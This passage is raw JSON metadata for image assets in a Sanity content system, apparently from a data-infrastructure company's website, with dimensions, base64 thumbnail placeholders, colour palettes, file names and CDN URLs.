site","assetId":"7925b4d213e06ccdc34253bc909f607530d6aa2b","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4005602240896358,"height":1071,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB0UlEQVQokY2Sy27bQAxF9f+f1EWXfQBFizZyHTexLFmWPe8XhzOjGVkpJlmkAZKglwcEuDggF2y6rhuGoeu6vu8ppdbakvPDuj78RxpKqZRSCEEII0Q4ZUuI67Ks/+Q92WgDzp+6y+brbv/tlt2NmlvjkoFk/IyxlOW6vpZmmiattAfs785fPv76/OH7j0+3m+1526ttr3eDPnOf5vK6fDwelVKI6UxMu53a7bTbs+6kh4sbCIwUpI25LK/L4zhWOSQq4XCSRFhlvYUAmDDkOJdcluv1jbMJIcYYDJFwsx/omQghjTLe+uRDnvOyvGGu69pwzj1ASklo14+sn8SZaa6rjLHKdW2t9VrzUqZcSeW0RSrheNEjMUQ4pr20wUC0EJ1/IvmQQsxzKaUslWVpdr3YdLzt+M2e/7xnN3ve7uvYHsTvXuwGeX9Sh0kfL5YpbyBinGPKIWYMc7PtZduJ9iArnXjmIDe9+nMyIwUikesIIae85Lr2mubicG4uAqjyXCM3WLtGYVDaKF2Sj08CIWMqMZW5mtcn4lysTw3hlgsj5DNKO+cQIIDDCgTwEXz0+Az4YAEbxjSnnFP22DknTAoJxnohPWMVpdB59C8I3kfEvz7TGUnfHL4PAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b3a3a","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#283c72","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6480a3","foreground":"#fff","population":0.89,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6bed3","foreground":"#000","population":0.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7494","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6480a3","foreground":"#fff","population":0.89,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ca3452","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"kafka-client.png","path":"images/sczeoy4w/production/7925b4d213e06ccdc34253bc909f607530d6aa2b-1500x1071.png","sha1hash":"7925b4d213e06ccdc34253bc909f607530d6aa2b","size":94591,"title":null,"uploadId":"Fm5y5dRJqLL1miQ06zl3eDs87vkqz3A2","url":"https://cdn.sanity.io/images/sczeoy4w/production/7925b4d213e06ccdc34253bc909f607530d6aa2b-1500x1071.png"} {"_createdAt":"2023-02-20T10:51:15Z","_id":"image-10d005a24737e8cf5a047a3cab3298c559cbb818-800x300-png","_rev":"waESC1SXj0AdlOPdeMpbz8","_type":"sanity.imageAsset","_updatedAt":"2023-02-20T10:51:15Z","assetId":"10d005a24737e8cf5a047a3cab3298c559cbb818","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DoDj^^AEAE}TEjoya$ahoeaf","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6666666666666665,"height":300,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACAElEQVQokVWS3UuTARTGn1dLoiwc6EXXsXP2YdveMVBBUfdlaYy5d+e86VpmqBPSlZt7c4tZiV5ENwVRSRfRP9NfESJ1UWAQSnZRXcS7VtTF4Zxz83ue8wGwLoK1CNYsWBZAMg9ya50A6wBYxkBaOOETe3N+NP71lb/8/bXv2ecXwdU5K5npYCmB5TpYCKwdAOlDsFbBWgZpE6zLbRG3rhost+DVWk/IKj9dHC59eRJc+7nrX/nwOFSr2PHG6WB+G6R1g2UYLCddoAPWe2DdBOsWqKU4B5K7bm+wVOHV256QtbFdGK1/vB9e/7FzcWm/aTqOxJvd/dYWvOoYLENg6QRIMmDNg3UapAqSKbCMgCQNklmwzID06qlAXpu5ePZg3ax/cyIv369F63cyyekuf/4KSCcNliBYewCWPrD2gtUD0j6Q9ILlPEgSrX2y2CCdOhewQm+vDUSPVkznuGzu7i3FGqvJVK7Ll0+DNAOWNFhTAOv/Qa3s+e1ONwyWGyC1veHs4LtC7NLhTbN8vBAp7RVjtUYyUTsbsGogfQAWd221Nkj+AI12doGu6qzBknKv3BfM2W8ujxQ/2WblyI6sHthmeScxvtjtz1dA2gBLHaylf9z9hbouz4C0HyQXjNb4OtnJslQcmpjZz0adQyv8/NCKLD8aH4t1tt5Kku2RB38BNLmkPjcbSz0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#64363e","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#772108","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5d36","foreground":"#fff","population":0.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bf9383","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5d36","foreground":"#fff","population":0.65,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c7d65","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f15e1c","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-sensorflow.png","path":"images/sczeoy4w/production/10d005a24737e8cf5a047a3cab3298c559cbb818-800x300.png","sha1hash":"10d005a24737e8cf5a047a3cab3298c559cbb818","size":15114,"uploadId":"PY4z2oJTgbGNIr0hgYsaFaSOr36WSkDA","url":"https://cdn.sanity.io/images/sczeoy4w/production/10d005a24737e8cf5a047a3cab3298c559cbb818-800x300.png"} {"_createdAt":"2024-10-15T07:55:37Z","_id":"image-5e645a766702ed270d7f43f3f0b637f2ddb3f6ee-1200x628-png","_rev":"Tpe1Rj6o9fDmGqbWvopmq8","_type":"sanity.imageAsset","_updatedAt":"2024-10-15T07:55:37Z","assetId":"5e645a766702ed270d7f43f3f0b637f2ddb3f6ee","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MxQZD-{JFzX8#R%3RiogayjEaJkWaebHoJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAClUlEQVQokU2RS0jTARzHl5mKpmGGPbQMhorag6xmS8wSQkTqYOYrYg//rkM+llg6Z802zSzDLKLHChItdblMo+nmK5tRM4IOdSgIqahDRacuHfp9QvDQ4XP98vnyUVEUChXxYE4FcwpUq8GshoZNYN0MtesQczRyej20JfGnfQvvrujpc49ya+ozPc++4AnM82bGy7eeKlSURsDxRGjIAKsWGneCdQc0a8GuBWsqcioescbB2QR+X9jF23sOxmfm8L36yFTgPdMv3uKf9vNqpBsVR6KgOgWassCWDc1ZYM8CxwKZ0JqJtGrAkYY4EvnVkcOc6xpPpud4PP0az8RLnkwGGJkIMOybRUVZJFQmgWUXNGaAZTtYt8OZHXB6Gzg0yMW90JWDXM7k59WDPHfdYMj3nAGPn/7hSQZHZ3GPBxjwBVBRHAbGNXBcDZULJEB1ApgToCYOTsQhTUlwUYN0aflxvQD/gxsMjc3w0PsM9+hT3F4/bu8srjE/KopCQBcDylpQYkGJAVMMHIuGinBQliHVkWDbiJxP5XtXHpO9l+l7NIprxMuQZ5xBzxT9I+PcH/ahkuJQxBCLKOsQfTSii0AMEUh5OGIIRoxLkKrlcGYD0qLma+tuHl+xcNN5G6fTSU/3Xe5293LzdjfOOwtRikPBuBpM8WCMAX0kKCtAWQ76ICgPQupWwblkpC2ZT7Z0XM06Ou0WOmz1tFtrsZ2soanuBC2Ndf8ZmuIRJRYxrkAqViIVUYg+CDEuDranIZe2Mm/fSW/9IVpry2kwlWEoyKUgN5uSA/tRig6gksKlSFEoUhKGlIYgZcHI0WWILhjRLUEMi5dbEvnbmc4HewbXqvKpVUowHM4nf5+Wfdp08vZoKMzN4h9BkhFx07jZ9gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#483e38","foreground":"#fff","population":5.4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#801c04","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2b3c2","foreground":"#000","population":11.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa8425","foreground":"#000","population":11.66,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#907869","foreground":"#fff","population":2.42,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.72,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Immersion Day Berlin Social Media Image.png","path":"images/sczeoy4w/production/5e645a766702ed270d7f43f3f0b637f2ddb3f6ee-1200x628.png","sha1hash":"5e645a766702ed270d7f43f3f0b637f2ddb3f6ee","size":575377,"uploadId":"QFXo3mddVvVN37mT5vcx8zhiaekVTwLm","url":"https://cdn.sanity.io/images/sczeoy4w/production/5e645a766702ed270d7f43f3f0b637f2ddb3f6ee-1200x628.png"} {"_createdAt":"2022-10-11T13:21:42Z","_id":"image-315e2efb1b0095bdf70482ae2da6f136c7fae4ec-2000x1044-png","_rev":"tWS6wOCoDT5Jyi19U0rvgr","_type":"sanity.imageAsset","_updatedAt":"2022-10-11T13:22:16Z","altText":"Screenshot of Aiven integrations page for AWS CloudWatch","assetId":"315e2efb1b0095bdf70482ae2da6f136c7fae4ec","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9157088122605364,"height":1044,"width":2000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAABj0lEQVQokW2Si46sIBBE/f+/vKM7IyIgD4Vu0No0zj5usiaVKHRXHwuGtCjsWoNTApUCay2macI4TpimDyyLxnEcYK6o9UfyfYu/JetDHh+gcURzFrUUbD5gnhcotWBdDZzbEGNC2nfsXUcfcBz5P+WcQUQY2Hu0EHCVgkaMaCOssvBb+G4MIcJZB2csNuMQvexllFKQ861SCESMQVwF9bou1MLwTwv9ULCrQ0ypT/Y+YFUa5qVgXwucNgg+IqWbWHQTMgZ+k13nCS4M/XSY/inMs4Z1Wy8WQqMNzLLCagO72h6FrEeJI+3dUHIc+MhouQC1gkrFSyU8JoNZ6d4khUfaETaP4ANCuA2+qPKvX+6HQjmjvgmJKpSO+HhZrJJVTGBi1EKQwf29VrTW0NrZVWu9syzlfSjMvUAylIZVGajn0nOTqac0y5Uh7u9S91vSK0Zi2g3P8+wb8lQmeL3AzDP2tHcCIW9yx3LB+T68v0wFTACGr8Vu2Cp82rDFDcT008QVFxGuPwhF53n1Sy6Un1FZB3PpVACaAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#38243a","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1f6e7f","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f39ca5","foreground":"#000","population":0.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cd9da9","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f39ca5","foreground":"#000","population":0.43,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#519d90","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#42a0d3","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"aws-cloudwatch-integration-aiven-integrations-new.png","path":"images/sczeoy4w/production/315e2efb1b0095bdf70482ae2da6f136c7fae4ec-2000x1044.png","sha1hash":"315e2efb1b0095bdf70482ae2da6f136c7fae4ec","size":463278,"title":"Aiven integrations page for AWS CloudWatch","uploadId":"gbqZt6Ip0PPwkWUcvP48l2l3Sn9jrBlq","url":"https://cdn.sanity.io/images/sczeoy4w/production/315e2efb1b0095bdf70482ae2da6f136c7fae4ec-2000x1044.png"} {"_createdAt":"2023-02-13T14:29:04Z","_id":"image-383614fb29a05c839044cb5977522d65296762d1-2000x2000-png","_rev":"qBG5W2UzMHRLoCg3nIDhHN","_type":"sanity.imageAsset","_updatedAt":"2023-02-13T14:29:04Z","assetId":"383614fb29a05c839044cb5977522d65296762d1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e7G*]58w0KOVIT~qD%.8-:Vs00pK$%V@tS_20MR5~VE1X-0L4o^%xv","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2000,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#273749","foreground":"#fff","population":0.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#693817","foreground":"#fff","population":0.63,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cdb9a9","foreground":"#000","population":1.31,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdb9a9","foreground":"#000","population":1.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce4b4","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#928758","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecbd30","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aivener-group-collage-1.png","path":"images/sczeoy4w/production/383614fb29a05c839044cb5977522d65296762d1-2000x2000.png","sha1hash":"383614fb29a05c839044cb5977522d65296762d1","size":1021989,"uploadId":"qeWddYENmAq0gx9hZQw3pFFTTKoZlcZm","url":"https://cdn.sanity.io/images/sczeoy4w/production/383614fb29a05c839044cb5977522d65296762d1-2000x2000.png"} {"_createdAt":"2023-02-03T08:17:15Z","_id":"image-8fd6a1d9a32b32f69502abdadd9f9c72599e0cbe-1567x844-png","_rev":"iop8tFFqgfe67JrEbBgkPL","_type":"sanity.imageAsset","_updatedAt":"2023-02-03T08:17:15Z","assetId":"8fd6a1d9a32b32f69502abdadd9f9c72599e0cbe","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MRFz$+2vIT=DFf1H}Xx]Elrq-BS}WENG$y","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACaUlEQVQokXWQ30tTYRzGz0VkEkKGQRQUDIqy3Pues/NjO2dzZzu0nIKLbW7OqXO7mEytLkxBitQoQhMKsrwIifIiLxMKb7oIEoP6E6Krboqiq05qnN4n3rOUtLr48J73fQ+f9/k+gqIoCAQCLrquwzAMBINBhMNhF/7N/6GUghCybf0Xgmma6OjoQD6fRy6Xc8lkMu6+UCggnU4jFApBFMU/ROQvCKmeC9FoFD09PahUKiiXyyiVSu6+r68P/f396O3tRTweh6qq22Rc4P3NpoyvAh+LJyoWi66kq6sL2WzWTcplnGQy6Y5eHbeKJBJoCoEqE4giAd1MyF/mUsuywNPyCjaJRKKIWpZ7X+2RQJO9aIucRulcI4YyJ5FuOeVKt0b+X7lb47m9cRFBa6gJFxLH8XDwCF5eOYxnw0cxljoBU/NCpMRF4EXvhEskSiFLMhQtCN2MI5HK4fJADstjMj5eq8faeB0+nD+IpdQxXAo3oUUj8MvVhGwniqIz00qzs6mLrLU0xZLDj1n55jJm7i2yN7c7sT65DxipwY/KAXzt9uB1exOumyISOoGgiRSGIkP3+92eRMkH40wGiaEH6L6xgoG7bzE+/wqzj5bY0/kpvLsTwcZkHTCyBxhsAIoefM94sdqi4mpIgRCUqGMFNCfS3Oz4/X5HknyOHss6bQNzTnFi8efs3DRbfVJm7xdi+DzXyNZn9oNN7gZGa8GGGsBKHiBL8CVu4EUwDEEWia36JFtVZFuSJJtSavtUw9Yi7Xa+M772fNrrfFs8xLBQD9zfy3CrBpjYBTZaC3BhwQOkKDZizfhkxPALYzal7xYgiBsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e2e45","foreground":"#fff","population":0.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#372a0b","foreground":"#fff","population":0.51,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6f18","foreground":"#fff","population":15.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e4e0d1","foreground":"#000","population":1.84,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#66a4f6","foreground":"#000","population":4.94,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#507085","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6f18","foreground":"#fff","population":15.24,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Flink_GA_announcement_blog.png","path":"images/sczeoy4w/production/8fd6a1d9a32b32f69502abdadd9f9c72599e0cbe-1567x844.png","sha1hash":"8fd6a1d9a32b32f69502abdadd9f9c72599e0cbe","size":62187,"uploadId":"jAvrHDjr7uqehoWl8vrgXJsxWH2WcwXt","url":"https://cdn.sanity.io/images/sczeoy4w/production/8fd6a1d9a32b32f69502abdadd9f9c72599e0cbe-1567x844.png"} {"_createdAt":"2022-10-26T06:14:23Z","_id":"image-04262c771ec50ce4f29277bf42c1916f35b59e24-1422x800-png","_rev":"9EhxcQHTplKyRiLd2XqKYv","_type":"sanity.imageAsset","_updatedAt":"2022-10-26T06:31:29Z","altText":"A zoom in of the demo metro map showing Aiven for Apache Kafka, Aiven for PostgreSQL and Aiven for Apache Flink system","assetId":"04262c771ec50ce4f29277bf42c1916f35b59e24","description":"We pass through Apache Flink to pre-process the stream:\n- We’ll join each record to a small reference dataset that’s sitting in a PostgreSQL database, just a simple mapping of operator ID to name.\n- We’ll get rid of that nesting and write a flattened set of values to a different topic, still in JSON format but without that useless wrapper object.\n- We could also do some simple transformations. For example, the speed value is reported in meters per second but maybe I’d prefer miles per hour or kilometers per hour. Here would be a great place to write a new computed column alongside the original.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7775,"height":800,"width":1422},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACFElEQVQokT2Sy08TYRTF59/0b3Dlxo3RnYkLYli411RtAhITRA2mgFgMqE2LMJS205Y+pp3X9372m8c3mA7B5Lc4d3HOvcm5DpMFmtD4dAYvQgI0FZbK8g5SsRaigDQD2ABiEE0xz6jIqSwdPBxN6mfek73lZoOcuTwKGTdMluw+ohIW0TQGKkoEIpqJVMicSevAk333+c6fB28GD9+i+gd5echBzJQlooihCRMNaU6lxTyH2AC0IiyVKle64Mo6aDS+3m79erp/9fIIHByp9kfhX3HGYIzHrt9rTf0JwSxDLAPIAGwIz4QqhLJUWofwYuZh9/jGay3AaMQ7e6Szj7q/o9NTb+vosvZjeOIlkUzwKoxFDCXlRulC6spMZRkkenhDpgsWhWh+fu59P/QOG6Ot3eHG++uNncFuK5wRgE0CFcIrLlKlc6mLarOwA180L6L2AN4stNul7mU06gXTs968fjCtNfyffRBLSFOIDaYpYRnlGZOVOUDp53aw+WXw+njWdFm7m06WBeIlRgaNE9gPcCgIz0F19ppEAqyrqqzjBfLVN+/Ru86znd52M/nbNxG0XN0yVTJpmbBMrauCxISxWIYsiDjCSqicKevMga41J4/rnRef+scuWcQ55iWVt/9f5Q7MckRSiNcgogldYZY5WNiuz7+ehyfX0AcpEZaI8h57P1rMCyIsFeuUZczmCxQB9Q/g8FBGgNPwKAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d2d64","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d4a7f","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#959abd","foreground":"#000","population":1.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#959abd","foreground":"#000","population":1.99,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc46c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#687898","foreground":"#fff","population":0.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6710d","foreground":"#fff","population":0.89,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"metromap-step2.png","path":"images/sczeoy4w/production/04262c771ec50ce4f29277bf42c1916f35b59e24-1422x800.png","sha1hash":"04262c771ec50ce4f29277bf42c1916f35b59e24","size":102176,"title":"A stopover at Apache Flink for pre-processing","uploadId":"dHKSwrEAJBvjbYnnWjhPY0nP1eW8NBCb","url":"https://cdn.sanity.io/images/sczeoy4w/production/04262c771ec50ce4f29277bf42c1916f35b59e24-1422x800.png"} {"_createdAt":"2022-10-27T07:23:01Z","_id":"image-c4eb1559793d39308add9717033e5f19aabc9c1b-3133x1688-png","_rev":"M2OBlUP2Xf4GldXXq2yM3X","_type":"sanity.imageAsset","_updatedAt":"2022-10-27T07:23:48Z","altText":"Hi, would you have time to discuss the product updates from Aiven from this quarter?","assetId":"c4eb1559793d39308add9717033e5f19aabc9c1b","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAC4jAAAuIwF4pT92AAACaElEQVQokUWRS08TYRiF54+4dGtiTFA2Ji6I/oDKQkWkiAooUAvaysIIiQkpBgSNaKymXrgENNCSkiCkFMFKaYtAKWjb6YVOO53ON52Z7zKl0KmZGjV5cvIuzjnJm0NJ6EiQikA8AOKBhEqQlCFRK1o5cAEJDNrfwkwYyQgpJURURIoQQ4gxleVRJJb5FWXCdJqOs4kUn0yDDCflJYxyDNxdAvMD7LhBWH4jMDTLgVQ6m4iH9qMrPBuikgzwbYS8/qDXF/z2fcPj3fT6toOh6H48xiyP7g1dcXdUOZpPu4aMX+xTnz7PTIxPfLAN2ycHQ5tuigOETmTpRDaWyEZoJhxNhSOp4G7S4/bMPblvazgzUHuq91LNw9ZrnQZDW5vhrsFoNnW9fDHs9wcoGasSOpLxPw55gNZ80clR5/vH3ZZmnUmv62zWG9tb2u80GdsbHj1ofGZpdUw93dsJUJCUkfIfXFCzObi4FBwbWxi12nrNnTf1l5sa6833bo/018+8qln+WL01XRX/WsdF7VoYKhVIWdaKtPD84pbVtmC1OfstFlOHrrHuwq3ruteWmu3p48B9DK+dIKEmlJmnKsOUZE21hZCiArGwHog55vyuldCq2+58VzvYffLG1XOmtvNO69m05yKh+wjngjJLQakg8igHsCAVZazlZVzieMKwIi/gPLvOBfS+qerBHp25q+XtSM/OhkPKxxEmkKgUAhCk+XRG4PME4hJS1MrzKi5UECNK8rnws++HZ3x21uFyr8aTrIwP/9gojIpQVkRYkPER1jJlDeUvGBE5gWESQiEH8jlBllGRaL2a7TdHfw4W0FL37AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#393662","foreground":"#fff","population":0.4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b144c","foreground":"#fff","population":2.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePalett